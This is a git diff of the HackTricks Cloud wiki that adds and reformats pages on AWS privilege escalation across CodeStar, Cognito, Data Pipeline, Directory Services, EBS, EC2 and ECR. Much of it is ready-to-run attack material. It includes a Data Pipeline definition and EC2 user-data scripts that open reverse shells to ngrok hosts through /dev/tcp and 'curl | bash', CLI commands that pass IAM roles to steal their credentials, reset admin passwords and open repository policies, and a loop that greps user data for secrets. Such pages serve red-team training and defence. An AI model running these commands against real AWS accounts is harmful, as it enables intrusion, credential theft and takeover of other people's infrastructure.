+            \"bucketKey\": \"toolchain.json\"
+        }
+    },
+    \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
+}"
+printf "$TOOLCHAIN" > $TOOLCHAIN_PATH
+
+# Create the codestar project that will use the cloudformation epxloit to privesc
+aws codestar create-project \
+    --name $PROJECT_NAME \
+    --id $PROJECT_NAME \
+    --source-code file://$SOURCE_CODE_PATH \
+    --toolchain file://$TOOLCHAIN_PATH
+```
+
+This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
similarity index 82%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index fea511a1e..cc8d8d94f 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -1,27 +1,14 @@
 # AWS - Cognito Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Cognito
 
 For more info about Cognito check:
 
-{% content-ref url="../aws-services/aws-cognito-enum/" %}
-[aws-cognito-enum](../aws-services/aws-cognito-enum/)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-cognito-enum/
+{{#endref}}
 
 ### Gathering credentials from Identity Pool
 
@@ -107,11 +94,9 @@ aws cognito-idp admin-add-user-to-group \
 
 An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles:
 
-{% code overflow="wrap" %}
 ```bash
 aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
 ```
-{% endcode %}
 
 **Potential Impact:** Privesc to other Cognito IAM roles.
 
@@ -156,7 +141,7 @@ aws cognito-idp admin-enable-user \
 
 ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
 
-This permission allows to login with the [**method ADMIN\_USER\_PASSWORD\_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link.
+This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link.
 
 ### `cognito-idp:AdminSetUserPassword`
 
@@ -290,7 +275,7 @@ An attacker could also use these permissions to **enroll himself to a Cognito st
 
 ### Automatic Tools
 
-* [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
 
 For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
 
@@ -299,8 +284,8 @@ For a description of the modules' functions see part 2 of the [blog post](https:
 Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
 
 ```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools 
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
 
@@ -310,7 +295,7 @@ Sample cognito\_\_enum usage to gather all user pools, user pool clients, identi
 Pacu (new:test) > run cognito__enum
 ```
 
-* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation.
 
 #### Installation
 
@@ -326,17 +311,4 @@ $ cognito-scanner --help
 
 For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
new file mode 100644
index 000000000..585e407d3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -0,0 +1,74 @@
+# AWS - Datapipeline Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## datapipeline
+
+For more info about datapipeline check:
+
+{{#ref}}
+../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
+
+Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:**
+
+```bash
+aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
+```
+
+After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations:
+
+```json
+{
+  "objects": [
+    {
+      "id": "CreateDirectory",
+      "type": "ShellCommandActivity",
+      "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
+      "runsOn": { "ref": "instance" }
+    },
+    {
+      "id": "Default",
+      "scheduleType": "ondemand",
+      "failureAndRerunMode": "CASCADE",
+      "name": "Default",
+      "role": "assumable_datapipeline",
+      "resourceRole": "assumable_datapipeline"
+    },
+    {
+      "id": "instance",
+      "name": "instance",
+      "type": "Ec2Resource",
+      "actionOnTaskFailure": "terminate",
+      "actionOnResourceFailure": "retryAll",
+      "maximumRetries": "1",
+      "instanceType": "t2.micro",
+      "securityGroups": ["default"],
+      "role": "assumable_datapipeline",
+      "resourceRole": "assumable_ec2_profile_instance"
+    }
+  ]
+}
+```
+
+> [!NOTE]
+> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**.
+>
+> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one).
+
+```bash
+aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
+    --pipeline-definition file:///pipeline/definition.json
+```
+
+The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges.
+
+**Potential Impact:** Direct privesc to the ec2 service role specified.
+
+## References
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
new file mode 100644
index 000000000..8785f58af
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -0,0 +1,34 @@
+# AWS - Directory Services Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Directory Services
+
+For more info about directory services check:
+
+{{#ref}}
+../aws-services/aws-directory-services-workdocs-enum.md
+{{#endref}}
+
+### `ds:ResetUserPassword`
+
+This permission allows to **change** the **password** of any **existent** user in the Active Directory.\
+By default, the only existent user is **Admin**.
+
+```
+aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
+```
+
+### AWS Management Console
+
+It's possible to enable an **application access URL** that users from AD can access to login:
+
+<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
+
+And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console:
+
+<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
+
+There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
new file mode 100644
index 000000000..01661912c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -0,0 +1,23 @@
+# AWS - DynamoDB Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## dynamodb
+
+For more info about dynamodb check:
+
+{{#ref}}
+../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### Post Exploitation
+
+As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
+
+{{#ref}}
+../aws-post-exploitation/aws-dynamodb-post-exploitation.md
+{{#endref}}
+
+### TODO: Read data abusing data Streams
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
new file mode 100644
index 000000000..ca59c9402
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -0,0 +1,27 @@
+# AWS - EBS Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EBS
+
+### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
+
+An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in:
+
+{{#ref}}
+../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+{{#endref}}
+
+Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
+
+The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**.
+
+**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords).
+
+### **`ec2:CreateSnapshot`**
+
+Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
+
+You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
similarity index 77%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 678a7bdf3..090c4e70d 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -1,33 +1,20 @@
 # AWS - EC2 Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## EC2
 
 For more **info about EC2** check:
 
-{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
 An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint.
 
-* **Access via SSH**
+- **Access via SSH**
 
 Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`).
 
@@ -37,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
     --security-group-ids <sg-id>
 ```
 
-* **Access via rev shell in user data**
+- **Access via rev shell in user data**
 
 You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way.
 
@@ -53,9 +40,9 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 
 Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
 
-{% content-ref url="../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md" %}
-[aws-guardduty-enum.md](../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+{{#endref}}
 
 **Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles.
 
@@ -63,14 +50,13 @@ Be careful with GuradDuty if you use the credentials of the IAM role outside of
 
 With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**.
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 run-instances \
     --image-id ami-07fde2ae86109a2af \
     --instance-type t2.micro \
     --iam-instance-profile <ECS_role> \
     --count 1 --key-name pwned \
-    --user-data "file:///tmp/asd.sh" 
+    --user-data "file:///tmp/asd.sh"
 
 # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
 # The EC2 instance profile needs basic ECS access
@@ -78,13 +64,12 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-{% endcode %}
 
 To learn how to **force ECS services to be run** in this new EC2 instance check:
 
-{% content-ref url="aws-ecs-privesc.md" %}
-[aws-ecs-privesc.md](aws-ecs-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-ecs-privesc.md
+{{#endref}}
 
 If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
 
@@ -95,7 +80,6 @@ If you **cannot create a new instance** but has the permission `ecs:RegisterCont
 Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
 As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
 
-{% code overflow="wrap" %}
 ```bash
 # Removing role from instance profile
 aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -103,17 +87,14 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-{% endcode %}
 
 If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:**
 
-* If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \*
+- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \*
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-{% endcode %}
 
 **Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
 
@@ -121,25 +102,21 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
 
 With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
 
-* If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \*
+- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \*
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-{% endcode %}
 
-* or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \*
+- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \*
 
-{% code overflow="wrap" %}
 ````
 ```bash
 aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
 ```
 ````
-{% endcode %}
 
 **Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
 
@@ -148,7 +125,6 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<va
 An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\
 Once the instance is run, he can **steal the IAM role**.
 
-{% code overflow="wrap" %}
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -158,7 +134,6 @@ aws ec2 request-spot-instances \
    --instance-count 1 \
    --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
 ```
-{% endcode %}
 
 ### `ec2:ModifyInstanceAttribute`
 
@@ -209,7 +184,6 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
 
 An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell.
 
-{% code overflow="wrap" %}
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -223,7 +197,6 @@ aws ec2 modify-launch-template \
    --launch-template-name bad_template \
    --default-version 2
 ```
-{% endcode %}
 
 **Potential Impact:** Direct privesc to a different EC2 role.
 
@@ -272,7 +245,6 @@ An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPubl
 
 In order to connect to the serial port you also **need to know the username and password of a user** inside the machine.
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 enable-serial-console-access
 
@@ -284,7 +256,6 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
 
 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-{% endcode %}
 
 This way isn't that useful to privesc as you need to know a username and password to exploit it.
 
@@ -294,7 +265,6 @@ This way isn't that useful to privesc as you need to know a username and passwor
 
 Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:
 
-{% code overflow="wrap" %}
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
@@ -307,7 +277,6 @@ do
   done | grep -iE "aws_|password|token|api"
 done
 ```
-{% endcode %}
 
 In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
 
@@ -317,19 +286,6 @@ Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use the
 
 ## References
 
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
new file mode 100644
index 000000000..bcf68a122
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
@@ -0,0 +1,108 @@
+# AWS - ECR Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## ECR
+
+### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
+
+An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.
+
+For more info on how to download images:
+
+{{#ref}}
+../aws-post-exploitation/aws-ecr-post-exploitation.md
+{{#endref}}
+
+**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
+
+### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
+
+An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
+
+To learn how to upload a new image/update one, check:
+
+{{#ref}}
+../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
+
+Like the previous section, but for public repositories.
+
+### `ecr:SetRepositoryPolicy`
+
+An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
+For example, in this example read access is given to everyone.
+
+```bash
+aws ecr set-repository-policy \
+    --repository-name <repo_name> \
+    --policy-text file://my-policy.json
+```
+
+Contents of `my-policy.json`:
+
+```json
+{
+  "Version": "2008-10-17",
+  "Statement": [
+    {
+      "Sid": "allow public pull",
+      "Effect": "Allow",
+      "Principal": "*",
+      "Action": [
+        "ecr:BatchCheckLayerAvailability",
+        "ecr:BatchGetImage",
+        "ecr:GetDownloadUrlForLayer"
+      ]
+    }
+  ]
+}
+```
+
+### `ecr-public:SetRepositoryPolicy`
+
+Like the previoous section, but for public repositories.\
+An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
+
+```bash
+bashCopy code# Create a JSON file with the malicious public repository policy
+echo '{
+  "Version": "2008-10-17",
+  "Statement": [
+    {
+      "Sid": "MaliciousPublicRepoPolicy",
+      "Effect": "Allow",
+      "Principal": "*",
+      "Action": [
+        "ecr-public:GetDownloadUrlForLayer",
+        "ecr-public:BatchGetImage",
+        "ecr-public:BatchCheckLayerAvailability",
+        "ecr-public:PutImage",
+        "ecr-public:InitiateLayerUpload",
+        "ecr-public:UploadLayerPart",
+        "ecr-public:CompleteLayerUpload",
+        "ecr-public:DeleteRepositoryPolicy"
+      ]
+    }
+  ]
+}' > malicious_public_repo_policy.json
+
+# Apply the malicious public repository policy to the ECR Public repository
+aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
+```
+
+**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.
+
+### `ecr:PutRegistryPolicy`
+
+An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**.
+
+```bash
+aws ecr set-repository-policy \
+    --repository-name <repo_name> \
+    --policy-text file://my-policy.json
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
similarity index 75%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
